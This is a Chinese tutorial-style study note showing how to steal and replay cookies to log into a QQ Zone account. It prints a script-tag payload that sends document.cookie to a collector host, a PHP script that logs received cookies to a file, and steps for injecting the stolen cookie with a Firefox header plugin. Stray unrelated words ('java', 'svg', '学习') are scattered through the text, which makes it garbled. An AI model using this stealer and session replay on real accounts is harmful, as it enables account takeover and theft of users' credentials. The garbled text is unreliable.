利用cookies登陆QQ空间

这几天在学习cookies,便作了些笔记javascript

准备工具:一台电脑,火狐浏览器,modify headers插件;
一个Windows虚拟机,phpstudy。
文件:get_cookie_frt.js , get_cookie_bck.php(文件里的代码都在文末)php




在虚拟机里安装好phpstudy,并把上面的两个文件放在www目录下

java

1

.首先,随便一个浏览器登陆本身的QQ空间,并复制上面的网址在这里插入图片描述

web

2

.而后f12,进入开发工具,在console里输入浏览器

document.location ="http://192.168.177.134/get_cookie_bck.php?cookie="+ document.cookie;

而后回车
(其中192.168.177.134是虚拟机的IP地址,get_cookie_bck.php是第二个文件的名字)
在这里插入图片描述
若是成功的话,浏览器界面会出现这个,其实也就是第二份文件里的输出内容
在这里插入图片描述

cookie

3

.此时,虚拟机里phpstudy中www目录下会新建一个log.txt文件
在这里插入图片描述


打开这个文件,把里面的内容复制下来
注意,有且仅有这一步在虚拟机里操做
在这里插入图片描述

svg

4.

这时,在火狐浏览器里打开modify headers插件,name这里随便填,把虚拟机里phpstudy中www目录下出现的log.txt文件里的内容复制到value这一栏。工具

在这里插入图片描述

5.

把第一步复制的网址粘贴到打开了modify headers插件的火狐浏览器上学习

在这里插入图片描述
点击一下头像,登陆成功。
在这里插入图片描述


开发工具

get_cookie_frt.js

<script>document.location ="http://192.168.177.134/get_cookie_bck.php?cookie="+ document.cookie;</script>




get_cookie_bck.php

<?php
echo "获取凭证成功";
$cookies = $_GET['cookie'];
$log =fopen("log.txt","a");
fwrite($log,$cookies."\n");
fclose($log);
?>

如何安装modify headers插件,点这里